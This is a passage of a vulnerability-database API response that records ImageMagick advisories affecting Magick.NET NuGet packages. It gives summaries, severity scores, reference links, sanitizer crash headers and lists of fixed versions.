"vulnerability": "VCID-e59v-wtp4-v7ev" }, { "vulnerability": "VCID-ea8n-71s6-nbfq" }, { "vulnerability": "VCID-fwfe-gcte-kyh3" }, { "vulnerability": "VCID-j4n2-8g72-q3fd" }, { "vulnerability": "VCID-j589-992a-jfa7" }, { "vulnerability": "VCID-m8u5-3zy6-zyh8" }, { "vulnerability": "VCID-mqpc-y7da-9uh9" }, { "vulnerability": "VCID-nfr9-r9x3-4ugt" }, { "vulnerability": "VCID-nxzm-r956-pbfy" }, { "vulnerability": "VCID-p3sj-h4qf-rkhp" }, { "vulnerability": "VCID-pr3f-pq54-dkd5" }, { "vulnerability": "VCID-qrsw-ekum-zue2" }, { "vulnerability": "VCID-s3ws-rhp3-a7gj" }, { "vulnerability": "VCID-s8sd-nz2r-y3c7" }, { "vulnerability": "VCID-s9q4-zzzf-e7gt" }, { "vulnerability": "VCID-t7w8-fz8u-zud8" }, { "vulnerability": "VCID-tv7n-7xa2-8uba" }, { "vulnerability": "VCID-uq5q-t36h-8fcw" }, { "vulnerability": "VCID-v64w-9gd4-rqhh" }, { "vulnerability": "VCID-vk9r-ve4j-w7g2" }, { "vulnerability": "VCID-vt3p-fn5k-7qba" }, { "vulnerability": "VCID-x1pn-e5ze-tqd2" }, { "vulnerability": "VCID-x85h-m4tr-ykha" }, { "vulnerability": "VCID-xuxk-mcdm-q3fr" }, { "vulnerability": "VCID-zt1v-dckb-gbh3" } ], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:nuget/Magick.NET-Q16-arm64@14.10.3" } ], "aliases": [ "CVE-2026-25797", "GHSA-rw6c-xp26-225v" ], "risk_score": null, "exploitability": null, "weighted_severity": null, "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-ndur-uewc-aucm" }, { "url": "http://public2.vulnerablecode.io/api/vulnerabilities/50785?format=api", "vulnerability_id": "VCID-nfr9-r9x3-4ugt", "summary": "ImageMagick has a heap buffer over-read via 32-bit integer overflow in MAT decoder\nIn MAT decoder uses 32-bit arithmetic due to incorrect parenthesization resulting in a heap over-read.\n\n```\n=================================================================\n==969652==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x506000003b40 at pc 0x555557b2a926 bp 0x7fffffff4c80 sp 0x7fffffff4c70\nREAD of size 8 at 0x506000003b40 thread T0\n```", "references": [ { "reference_url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-28692.json", "reference_id": "", "reference_type": "", "scores": [ { "value": "4.8", "scoring_system": "cvssv3", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:L" } ], "url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-28692.json" }, { "reference_url": "https://api.first.org/data/v1/epss?cve=CVE-2026-28692", "reference_id": "", "reference_type": "", "scores": [ { "value": "0.00024", "scoring_system": "epss", "scoring_elements": "0.06995", "published_at": "2026-06-05T12:55:00Z" } ], "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-28692" }, { "reference_url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-28692", "reference_id": "", "reference_type": "", "scores": [], "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-28692" }, { "reference_url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml", "reference_id": "", "reference_type": "", "scores": [ { "value": "8.2", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H" } ], "url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml" }, { "reference_url": "https://github.com/dlemstra/Magick.NET/releases/tag/14.10.4", "reference_id": "", "reference_type": "", "scores": [ { "value": "4.8", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:L" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/dlemstra/Magick.NET/releases/tag/14.10.4" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick", "reference_id": "", "reference_type": "", "scores": [ { "value": "4.8", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:L" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ImageMagick/ImageMagick" }, { "reference_url": "https://bugzilla.redhat.com/show_bug.cgi?id=2445890", "reference_id": "2445890", "reference_type": "", "scores": [], "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2445890" }, { "reference_url": "https://nvd.nist.gov/vuln/detail/CVE-2026-28692", "reference_id": "CVE-2026-28692", "reference_type": "", "scores": [ { "value": "4.8", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:L" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-28692" }, { "reference_url": "https://github.com/advisories/GHSA-mrmj-x24c-wwcv", "reference_id": "GHSA-mrmj-x24c-wwcv", "reference_type": "", "scores": [ { "value": "MODERATE", "scoring_system": "cvssv3.1_qr", "scoring_elements": "" } ], "url": "https://github.com/advisories/GHSA-mrmj-x24c-wwcv" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-mrmj-x24c-wwcv", "reference_id": "GHSA-mrmj-x24c-wwcv", "reference_type": "", "scores": [ { "value": "4.8", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:L" }, { "value": "MODERATE", "scoring_system": "cvssv3.1_qr", "scoring_elements": "" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2026-03-10T15:58:29Z/" } ], "url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-mrmj-x24c-wwcv" } ], "fixed_packages": [ { "url": "http://public2.vulnerablecode.io/api/packages/74575?format=api", "purl": "pkg:nuget/Magick.NET-Q16-arm64@14.10.4", "is_vulnerable": true, "affected_by_vulnerabilities": [ { "vulnerability": "VCID-2j96-dnbv-3uhn" }, { "vulnerability": "VCID-44wu-3r97-47b9" }, { "vulnerability": "VCID-5xqw-b2kv-ckb5" }, { "vulnerability": "VCID-9dx7-4ewr-6fat" }, { "vulnerability": "VCID-avs5-2tz8-ebhs" }, { "vulnerability": "VCID-bc1g-24nb-nuf5" }, { "vulnerability": "VCID-cm5s-vwdd-8ua3" }, { "vulnerability": "VCID-cz6h-xcea-s3fn" }, { "vulnerability": "VCID-dskq-pcd4-v7fx" }, { "vulnerability": "VCID-ea8n-71s6-nbfq" }, { "vulnerability": "VCID-fwfe-gcte-kyh3" }, { "vulnerability": "VCID-j4n2-8g72-q3fd" }, { "vulnerability": "VCID-mqpc-y7da-9uh9" }, { "vulnerability": "VCID-p3sj-h4qf-rkhp" }, { "vulnerability": "VCID-pr3f-pq54-dkd5" }, { "vulnerability": "VCID-s3ws-rhp3-a7gj" }, { "vulnerability": "VCID-s8sd-nz2r-y3c7" }, { "vulnerability": "VCID-tv7n-7xa2-8uba" }, { "vulnerability": "VCID-uq5q-t36h-8fcw" }, { "vulnerability": "VCID-v64w-9gd4-rqhh" }, { "vulnerability": "VCID-vt3p-fn5k-7qba" } ], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:nuget/Magick.NET-Q16-arm64@14.10.4" } ], "aliases": [ "CVE-2026-28692", "GHSA-mrmj-x24c-wwcv" ], "risk_score": null, "exploitability": null, "weighted_severity": null, "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-nfr9-r9x3-4ugt" }, { "url": "http://public2.vulnerablecode.io/api/vulnerabilities/50906?format=api", "vulnerability_id": "VCID-nxzm-r956-pbfy", "summary": "ImageMagick has Integer Overflow leading to out of bounds write in SIXEL decoder\nAn integer overflow vulnerability exists in the SIXEL decoer. The vulnerability allows an attacker to perform an out of bounds via a specially crafted mage.", "references": [ { "reference_url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-28493.json", "reference_id": "", "reference_type": "", "scores": [ { "value": "6.5", "scoring_system": "cvssv3", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:H" } ], "url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-28493.json" }, { "reference_url": "https://api.first.org/data/v1/epss?cve=CVE-2026-28493", "reference_id": "", "reference_type": "", "scores": [ { "value": "0.00063", "scoring_system": "epss", "scoring_elements": "0.19876", "published_at": "2026-06-05T12:55:00Z" } ], "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-28493" }, { "reference_url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml", "reference_id": "", "reference_type": "", "scores": [ { "value": "8.2", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H" } ], "url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml" }, { "reference_url": "https://github.com/dlemstra/Magick.NET/releases/tag/14.10.4", "reference_id": "", "reference_type": "", "scores": [ { "value": "6.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:H" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/dlemstra/Magick.NET/releases/tag/14.10.4" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick", "reference_id": "", "reference_type": "", "scores": [ { "value": "6.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:H" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ImageMagick/ImageMagick" }, { "reference_url": "https://bugzilla.redhat.com/show_bug.cgi?id=2445883", "reference_id": "2445883", "reference_type": "", "scores": [], "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2445883" }, { "reference_url": "https://nvd.nist.gov/vuln/detail/CVE-2026-28493", "reference_id": "CVE-2026-28493", "reference_type": "", "scores": [ { "value": "6.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:H" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-28493" }, { "reference_url": "https://github.com/advisories/GHSA-r39q-jr8h-gcq2", "reference_id": "GHSA-r39q-jr8h-gcq2", "reference_type": "", "scores": [], "url": "https://github.com/advisories/GHSA-r39q-jr8h-gcq2" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-r39q-jr8h-gcq2", "reference_id": "GHSA-r39q-jr8h-gcq2", "reference_type": "", "scores": [ { "value": "6.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:H" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2026-03-10T17:16:54Z/" } ], "url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-r39q-jr8h-gcq2" } ], "fixed_packages": [ { "url": "http://public2.vulnerablecode.io/api/packages/74575?format=api", "purl": "pkg:nuget/Magick.NET-Q16-arm64@14.10.4", "is_vulnerable": true, "affected_by_vulnerabilities": [ { "vulnerability": "VCID-2j96-dnbv-3uhn" }, { "vulnerability": "VCID-44wu-3r97-47b9" }, { "vulnerability": "VCID-5xqw-b2kv-ckb5" }, { "vulnerability": "VCID-9dx7-4ewr-6fat" }, { "vulnerability": "VCID-avs5-2tz8-ebhs" }, { "vulnerability": "VCID-bc1g-24nb-nuf5" }, { "vulnerability": "VCID-cm5s-vwdd-8ua3" }, { "vulnerability": "VCID-cz6h-xcea-s3fn" }, { "vulnerability": "VCID-dskq-pcd4-v7fx" }, { "vulnerability": "VCID-ea8n-71s6-nbfq" }, { "vulnerability": "VCID-fwfe-gcte-kyh3" }, { "vulnerability": "VCID-j4n2-8g72-q3fd" }, { "vulnerability": "VCID-mqpc-y7da-9uh9" }, { "vulnerability": "VCID-p3sj-h4qf-rkhp" }, { "vulnerability": "VCID-pr3f-pq54-dkd5" }, { "vulnerability": "VCID-s3ws-rhp3-a7gj" }, { "vulnerability": "VCID-s8sd-nz2r-y3c7" }, { "vulnerability": "VCID-tv7n-7xa2-8uba" }, { "vulnerability": "VCID-uq5q-t36h-8fcw" }, { "vulnerability": "VCID-v64w-9gd4-rqhh" }, { "vulnerability": "VCID-vt3p-fn5k-7qba" } ], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:nuget/Magick.NET-Q16-arm64@14.10.4" } ], "aliases": [ "CVE-2026-28493", "GHSA-r39q-jr8h-gcq2" ], "risk_score": null, "exploitability": null, "weighted_severity": null, "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-nxzm-r956-pbfy" }, { "url": "http://public2.vulnerablecode.io/api/vulnerabilities/91173?format=api", "vulnerability_id": "VCID-p3sj-h4qf-rkhp", "summary": "ImageMagick has possible memory leak in ASHLAR coder when action fails\nThe ASHLAR coder leaks a temporary image when an action fails and that could result to an out of memory.", "references": [ { "reference_url": "https://github.com/ImageMagick/ImageMagick", "reference_id": "", "reference_type": "", "scores": [ { "value": "3.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L" }, { "value": "LOW", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ImageMagick/ImageMagick" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-6p22-q7w5-33pg", "reference_id": "", "reference_type": "", "scores": [ { "value": "3.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L" }, { "value": "LOW", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-6p22-q7w5-33pg" }, { "reference_url": "https://github.com/advisories/GHSA-6p22-q7w5-33pg", "reference_id": "GHSA-6p22-q7w5-33pg", "reference_type": "", "scores": [], "url": "https://github.com/advisories/GHSA-6p22-q7w5-33pg" } ], "fixed_packages": [ { "url": "http://public2.vulnerablecode.io/api/packages/112877?format=api", "purl": "pkg:nuget/Magick.NET-Q16-arm64@14.11.1", "is_vulnerable": true, "affected_by_vulnerabilities": [ { "vulnerability": "VCID-2j96-dnbv-3uhn" }, { "vulnerability": "VCID-44wu-3r97-47b9" }, { "vulnerability": "VCID-5xqw-b2kv-ckb5" }, { "vulnerability": "VCID-9dx7-4ewr-6fat" }, { "vulnerability": "VCID-avs5-2tz8-ebhs" }, { "vulnerability": "VCID-dskq-pcd4-v7fx" }, { "vulnerability": "VCID-ea8n-71s6-nbfq" }, { "vulnerability": "VCID-j4n2-8g72-q3fd" }, { "vulnerability": "VCID-mqpc-y7da-9uh9" }, { "vulnerability": "VCID-pr3f-pq54-dkd5" }, { "vulnerability": "VCID-s3ws-rhp3-a7gj" }, { "vulnerability": "VCID-s8sd-nz2r-y3c7" }, { "vulnerability": "VCID-tv7n-7xa2-8uba" }, { "vulnerability": "VCID-uq5q-t36h-8fcw" }, { "vulnerability": "VCID-v64w-9gd4-rqhh" }, { "vulnerability": "VCID-vt3p-fn5k-7qba" } ], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:nuget/Magick.NET-Q16-arm64@14.11.1" } ], "aliases": [ "GHSA-6p22-q7w5-33pg" ], "risk_score": null, "exploitability": null, "weighted_severity": null, "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-p3sj-h4qf-rkhp" }, { "url": "http://public2.vulnerablecode.io/api/vulnerabilities/57702?format=api", "vulnerability_id": "VCID-pqp5-pw9k-vyew", "summary": "ImageMagick has XMP profile write that triggers hang due to unbounded loop\nInfinite lines occur when writing during a specific XMP file conversion command", "references": [ { "reference_url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2025-53015.json", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.3", "scoring_system": "cvssv3", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" } ], "url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2025-53015.json" }, { "reference_url": "https://api.first.org/data/v1/epss?cve=CVE-2025-53015", "reference_id": "", "reference_type": "", "scores": [ { "value": "0.00156", "scoring_system": "epss", "scoring_elements": "0.36106", "published_at": "2026-06-05T12:55:00Z" } ], "url": "https://api.first.org/data/v1/epss?cve=CVE-2025-53015" }, { "reference_url": "https://drive.google.com/file/d/1iegkwlTjqnJTtM4XkiheYsjKsC6pxtId/view?usp=sharing", "reference_id": "", "reference_type": "", "scores": [ { "value": "7.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:P/A:Y/T:P/P:M/B:A/M:M/D:T/2025-07-15T13:14:20Z/" } ], "url": "https://drive.google.com/file/d/1iegkwlTjqnJTtM4XkiheYsjKsC6pxtId/view?usp=sharing" }, { "reference_url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" } ], "url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml" }, { "reference_url": "https://github.com/dlemstra/Magick.NET/releases/tag/14.7.0", "reference_id": "", "reference_type": "", "scores": [ { "value": "7.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/dlemstra/Magick.NET/releases/tag/14.7.0" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick", "reference_id": "", "reference_type": "", "scores": [ { "value": "7.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ImageMagick/ImageMagick" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick/commit/229fa96a988a21d78318bbca61245a6ed1ee33a0", "reference_id": "", "reference_type": "", "scores": [ { "value": "7.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ImageMagick/ImageMagick/commit/229fa96a988a21d78318bbca61245a6ed1ee33a0" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick/commit/38631605e6ab744548a561797472cf8648bcfe26", "reference_id": "", "reference_type": "", "scores": [ { "value": "7.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ImageMagick/ImageMagick/commit/38631605e6ab744548a561797472cf8648bcfe26" }, { "reference_url": "https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1109339", "reference_id": "1109339", "reference_type": "", "scores": [], "url": "https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1109339" }, { "reference_url": "https://bugzilla.redhat.com/show_bug.cgi?id=2379948", "reference_id": "2379948", "reference_type": "", "scores": [], "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2379948" }, { "reference_url": "https://nvd.nist.gov/vuln/detail/CVE-2025-53015", "reference_id": "CVE-2025-53015", "reference_type": "", "scores": [ { "value": "7.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-53015" }, { "reference_url": "https://github.com/advisories/GHSA-vmhh-8rxq-fp9g", "reference_id": "GHSA-vmhh-8rxq-fp9g", "reference_type": "", "scores": [], "url": "https://github.com/advisories/GHSA-vmhh-8rxq-fp9g" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-vmhh-8rxq-fp9g", "reference_id": "GHSA-vmhh-8rxq-fp9g", "reference_type": "", "scores": [ { "value": "7.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:P/A:Y/T:P/P:M/B:A/M:M/D:T/2025-07-15T13:14:20Z/" } ], "url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-vmhh-8rxq-fp9g" } ], "fixed_packages": [ { "url": "http://public2.vulnerablecode.io/api/packages/85858?format=api", "purl": "pkg:nuget/Magick.NET-Q16-arm64@14.7.0", "is_vulnerable": true, "affected_by_vulnerabilities": [ { "vulnerability": "VCID-11v2-qgx3-47hz" }, { "vulnerability": "VCID-1dkp-eq4m-kuey" }, { "vulnerability": "VCID-1hrc-y5vr-efgj" }, { "vulnerability": "VCID-1j2k-6rbb-tfhy" }, { "vulnerability": "VCID-1p4e-f2bs-eycu" }, { "vulnerability": "VCID-1y2r-nh91-u7ha" }, { "vulnerability": "VCID-27wf-43fw-kuam" }, { "vulnerability": "VCID-2j96-dnbv-3uhn" }, { "vulnerability": "VCID-3gm2-ehp7-d7em" }, { "vulnerability": "VCID-44wu-3r97-47b9" }, { "vulnerability": "VCID-4fqh-nbke-bufv" }, { "vulnerability": "VCID-4hmq-1sx8-skcj" }, { "vulnerability": "VCID-4q34-28cp-j3fn" }, { "vulnerability": "VCID-58jw-s2v7-ukcw" }, { "vulnerability": "VCID-5e38-r9z4-a7h9" }, { "vulnerability": "VCID-5e5g-55d6-3yev" }, { "vulnerability": "VCID-5mtv-p43c-fqc5" }, { "vulnerability": "VCID-5xqc-2jt1-dfh1" }, { "vulnerability": "VCID-5xqw-b2kv-ckb5" }, { "vulnerability": "VCID-7rkq-y5rp-wyfm" }, { "vulnerability": "VCID-836n-xdhx-zye3" }, { "vulnerability": "VCID-88yk-kthd-5qgr" }, { "vulnerability": "VCID-8sq5-r6ur-3be6" }, { "vulnerability": "VCID-8zwb-29vf-gkag" }, { "vulnerability": "VCID-92t2-5jrm-cyej" }, { "vulnerability": "VCID-97p8-5z8e-2qd5" }, { "vulnerability": "VCID-9dx7-4ewr-6fat" }, { "vulnerability": "VCID-9fpb-ch9j-8yg3" }, { "vulnerability": "VCID-a58f-bqx9-yfhk" }, { "vulnerability": "VCID-acea-fhhx-xydj" }, { "vulnerability": "VCID-avs5-2tz8-ebhs" }, { "vulnerability": "VCID-bc1g-24nb-nuf5" }, { "vulnerability": "VCID-bcdj-1szf-u3c8" }, { "vulnerability": "VCID-c9t3-dj85-nfev" }, { "vulnerability": "VCID-cm5s-vwdd-8ua3" }, { "vulnerability": "VCID-cnvc-vfa2-z3fq" }, { "vulnerability": "VCID-cpn3-kr6q-2ugv" }, { "vulnerability": "VCID-cz6h-xcea-s3fn" }, { "vulnerability": "VCID-ddvf-h3jf-1yft" }, { "vulnerability": "VCID-dskq-pcd4-v7fx" }, { "vulnerability": "VCID-dw4p-7umw-tqhd" }, { "vulnerability": "VCID-e59v-wtp4-v7ev" }, { "vulnerability": "VCID-ea8n-71s6-nbfq" }, { "vulnerability": "VCID-fwfe-gcte-kyh3" }, { "vulnerability": "VCID-g38v-cdjz-a7cd" }, { "vulnerability": "VCID-j4n2-8g72-q3fd" }, { "vulnerability": "VCID-j589-992a-jfa7" }, { "vulnerability": "VCID-jtta-svbt-wfcv" }, { "vulnerability": "VCID-juaq-c8xf-rkb1" }, { "vulnerability": "VCID-kcs8-8s5x-w7er" }, { "vulnerability": "VCID-kpcy-a3v3-ubhs" }, { "vulnerability": "VCID-kyeb-ndqs-vyhp" }, { "vulnerability": "VCID-kymx-rjrd-m3g4" }, { "vulnerability": "VCID-m1x2-ffdz-ekhu" }, { "vulnerability": "VCID-m8u5-3zy6-zyh8" }, { "vulnerability": "VCID-majy-bytw-9bew" }, { "vulnerability": "VCID-mjy1-gkm8-2ugw" }, { "vulnerability": "VCID-mqpc-y7da-9uh9" }, { "vulnerability": "VCID-ndur-uewc-aucm" }, { "vulnerability": "VCID-nfr9-r9x3-4ugt" }, { "vulnerability": "VCID-nxzm-r956-pbfy" }, { "vulnerability": "VCID-p3sj-h4qf-rkhp" }, { "vulnerability": "VCID-pr3f-pq54-dkd5" }, { "vulnerability": "VCID-qrsw-ekum-zue2" }, { "vulnerability": "VCID-rabe-pnz7-mqbj" }, { "vulnerability": "VCID-rp71-pwxm-quhd" }, { "vulnerability": "VCID-s3ws-rhp3-a7gj" }, { "vulnerability": "VCID-s8sd-nz2r-y3c7" }, { "vulnerability": "VCID-s9q4-zzzf-e7gt" }, { "vulnerability": "VCID-s9vc-rtmc-vygy" }, { "vulnerability": "VCID-sca8-3j9v-2qgn" }, { "vulnerability": "VCID-sh29-s49w-6qdj" }, { "vulnerability": "VCID-sjg9-srcu-8bck" }, { "vulnerability": "VCID-t1vu-myek-u7dq" }, { "vulnerability": "VCID-t7w8-fz8u-zud8" }, { "vulnerability": "VCID-taap-mm6q-xuef" }, { "vulnerability": "VCID-tv7n-7xa2-8uba" }, { "vulnerability": "VCID-u59k-v6pm-qud3" }, { "vulnerability": "VCID-uq5q-t36h-8fcw" }, { "vulnerability": "VCID-v64w-9gd4-rqhh" }, { "vulnerability": "VCID-v8sf-9pty-aqh4" }, { "vulnerability": "VCID-vk9r-ve4j-w7g2" }, { "vulnerability": "VCID-vt3p-fn5k-7qba" }, { "vulnerability": "VCID-wh9f-rvt4-6fb9" }, { "vulnerability": "VCID-x1pn-e5ze-tqd2" }, { "vulnerability": "VCID-x85h-m4tr-ykha" }, { "vulnerability": "VCID-xftp-cy5m-nkhh" }, { "vulnerability": "VCID-xuxk-mcdm-q3fr" }, { "vulnerability": "VCID-ye74-15xt-ukhk" }, { "vulnerability": "VCID-yhp9-y1y3-nyh8" }, { "vulnerability": "VCID-yxmc-uvt6-ebgw" }, { "vulnerability": "VCID-z52g-6wk3-3ufj" }, { "vulnerability": "VCID-z5ve-fkb6-8yhs" }, { "vulnerability": "VCID-zt1v-dckb-gbh3" } ], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:nuget/Magick.NET-Q16-arm64@14.7.0" } ], "aliases": [ "CVE-2025-53015", "GHSA-vmhh-8rxq-fp9g" ], "risk_score": null, "exploitability": null, "weighted_severity": null, "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-pqp5-pw9k-vyew" }, { "url": "http://public2.vulnerablecode.io/api/vulnerabilities/89197?format=api", "vulnerability_id": "VCID-pr3f-pq54-dkd5", "summary": "ImageMagick has a heap-buffer-overflow in FTXT encoder\nThe FTXT encoder lacks a boundary check when parsing `ftxt:format`, resulting in an out of bounds read.\n\n```\n==3040863==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x5020000085b2 at pc 0x606c1ee0c6ce bp 0x7ffee30d6150 sp 0x7ffee30d6148\nREAD of size 1 at 0x5020000085b2 thread T0\n```", "references": [ { "reference_url": "https://github.com/ImageMagick/ImageMagick", "reference_id": "", "reference_type": "", "scores": [ { "value": "3.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L" }, { "value": "LOW", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ImageMagick/ImageMagick" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-w54j-7wpm-crhj", "reference_id": "", "reference_type": "", "scores": [ { "value": "3.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L" }, { "value": "LOW", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-w54j-7wpm-crhj" }, { "reference_url": "https://github.com/advisories/GHSA-w54j-7wpm-crhj", "reference_id": "GHSA-w54j-7wpm-crhj", "reference_type": "", "scores": [], "url": "https://github.com/advisories/GHSA-w54j-7wpm-crhj" } ], "fixed_packages": [ { "url": "http://public2.vulnerablecode.io/api/packages/109850?format=api", "purl": "pkg:nuget/Magick.NET-Q16-arm64@14.12.0", "is_vulnerable": false, "affected_by_vulnerabilities": [], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:nuget/Magick.NET-Q16-arm64@14.12.0" } ], "aliases": [ "GHSA-w54j-7wpm-crhj" ], "risk_score": null, "exploitability": null, "weighted_severity": null, 